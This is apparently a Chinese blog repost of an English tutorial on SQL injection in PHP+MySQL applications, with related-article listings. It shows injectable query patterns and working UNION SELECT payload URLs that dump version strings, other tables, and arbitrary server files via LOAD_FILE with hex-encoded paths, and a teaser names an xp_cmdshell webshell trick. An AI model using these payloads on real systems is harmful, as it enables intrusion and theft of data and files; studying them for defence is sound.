对php+mysql的注入攻击

原创 2004年09月26日 17:27:00
对php+mysql的注入攻击

看看以下的内容
$query ="SELECT *FROM user where user ='".$_REQUEST ['user'] .."'";
...sql injection is impossible.However,if the value is being placed in a non-delimited
portion of the query,such as a numeric value,table or column name:
$query ="SELECT *FROM user order by ".$_REQUEST ['user']; or
$query ="SELECT *FROM user where max_connections =".$_REQUEST ['user'];
...then SQL injection is still possible。

还有一种方式是可以注入的
$query ="SELECT *FROM user where user =($_REQUEST ['user'])


If we want to return other useful data – apart from the ''user'table – we can use the
'UNION'statement to combine two resultsets.Since the 'UNION'statement comes after
the 'WHERE'clause in a select statement,we can choose any data we like,within the
following restrictions:
•Our select statement must return the same number of fields as the original (31 if you
count them,or do a 'describe user').
•The data types of our fields must match,or it must be possible to implicitly convert
between the two
•If our data contains text fields,they will be truncated to the length of the
corresponding text field in the first query
Let's say we want to return the '@@version'string.We would request something like:
http://mysql.example.com/query.php?user=1+union+select+@@version,1,1,1,1,1,1,1,1,1,
1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
We can select arbitrary fields from tables in other tables using union select.For example,
suppose we wanted to retrieve the 'name'and 'dl'fields from the 'func'table:
http://mysql.example.com/query.php?user=1+union+select+name,dl,1,1,1,1,1,1,1,1,1,1,1,
1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1+from+func
Using 'UNION',an attacker can effectively access all of the data that the calling
application can access.
LOAD_FILE function
The LOAD_FILE function returns a string containing the contents of a file,specified by
it's path.So,for example on a windows box,the query
select load_file('c:/boot.ini');
...will retrieve the contents of the boot.ini file.
Obviously if the target host is running PHP and has magic_quotes turned on,we need to
express the string 'c:/boot.ini'without using single quotes.Fortunately,MySQL accepts
hex-encoded strings as a substitute for string literals.
For example,the following two select statements are equivalent:
select 'c:/boot.ini'
select 0x633a2f626f6f742e696e69
So if we request...
http://mysql.example.com/query.php?user=1+union+select+load_file(0x633a2f626f
6f742e696e69),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
...we get something that looks like:
[boot loader ] timeout==30 default=multi(0)disk(0)rdisk(0)pa 1 1 N N N N N N N N N N N N N N N N N N N N N 1 1 1 1 1 1
In other words,we got the first few bytes of c:/boot.ini,because the 'union'truncates the
string to the length of the first field of the user table – which is 60 characters..
We can address this by using the 'substring'function:
http://mysql.example.com/query.php?user=1+union+select+substring(load_file
(0x633a2f626f6f742e696e69),60),
1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
This will select the next 60 characters from 'boot.ini'.In this manner,we can iterate
through the whole file,returning all the data.LOAD_FILE works on binary files,and
SUBSTRING allows you to skip nulls,so the attacker can also use this technique to read
arbitrary binary files.

Php+Mysql注入攻击详解

Php+Mysql注入攻击详解1.明白php+mysql环境是如何搭建的,在光盘中我们收录搭建的相关文章,如果您对搭建php+mysql环境不是很清楚,请先查阅此文,在上一期的专题中也有所介绍。 2....
  • moonlit1228
  • moonlit1228
  • 2011年02月11日 23:40
  • 3779

注入攻击命令大全

1、   用^转义字符来写ASP(一句话木马)文件的方法:?   http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshe...
  • huiguixian
  • huiguixian
  • 2011年04月16日 10:13
  • 5134

看好你的门-攻击服务端(4)-HTTP参数注入攻击

首先需要声明,本文纯属一个毫无远见和真才实学的小小开发人员的愚昧见解,仅供用于web系统安全方面的参考。1、HTTP参数注入攻击如果用户提交的参数,被用做后端HTTP请求中的参数,这个时候就有可能会导...
  • ffm83
  • ffm83
  • 2015年03月12日 15:24
  • 1189

SQL注入攻击原理以及基本方法

一、SQL注入的概述 定义:SQL注入即是指web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非...
  • qq_34858648
  • qq_34858648
  • 2016年10月07日 16:09
  • 24020

SQL注入系列之环境搭建(二)----PHP+Mysql注入环境搭建

一、手写一个带sql注入的页面 php+mysql注入页面编写步骤 1.接受参数 2.连接数据库 3.组合sql语句 4.执行sql语句并返回显示 新建一个sqlt...
  • u011781521
  • u011781521
  • 2016年12月29日 19:25
  • 2036

SQL注入攻击实例

一位客户让我们针对只有他们企业员工和顾客能使用的企业内网进行渗透测试。这是安全评估的一个部分,所以尽管我们之前没有使用过SQL注入来渗透网络,但对其概念也相当熟悉了。最后我们在这项任务中大获成功,现在...
  • u012868901
  • u012868901
  • 2016年05月26日 15:17
  • 8461

SQL注入攻击尝试

SQL注入是在web开发中,不得不考虑的一个问题,近些年已经得到了较充分的重视。一般新手不注意的话,写出的程序容易被SQL注入攻击。比如笔者试了下面这样一个用户登录的页面(代码见附录)数据库为mysq...
  • luocm
  • luocm
  • 2007年06月17日 21:59
  • 2682

sql注入攻击原理及攻防

随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进...
  • zhengjie19
  • zhengjie19
  • 2008年01月14日 20:11
  • 14844

《SQL注入攻击与防御》读书笔记

《SQL注入攻击与防御》读书笔记
  • ggf123456789
  • ggf123456789
  • 2015年10月08日 23:41
  • 1729

简单的sql注入式攻击 教程(小白 )

SQL注入式攻击,就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令。 以下是整理网上教程所得出的,如有误,非常感谢指出...
  • qq_34817273
  • qq_34817273
  • 2017年04月30日 01:20
  • 1166
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:对php+mysql的注入攻击
举报原因:
原因补充:

(最多只允许输入30个字)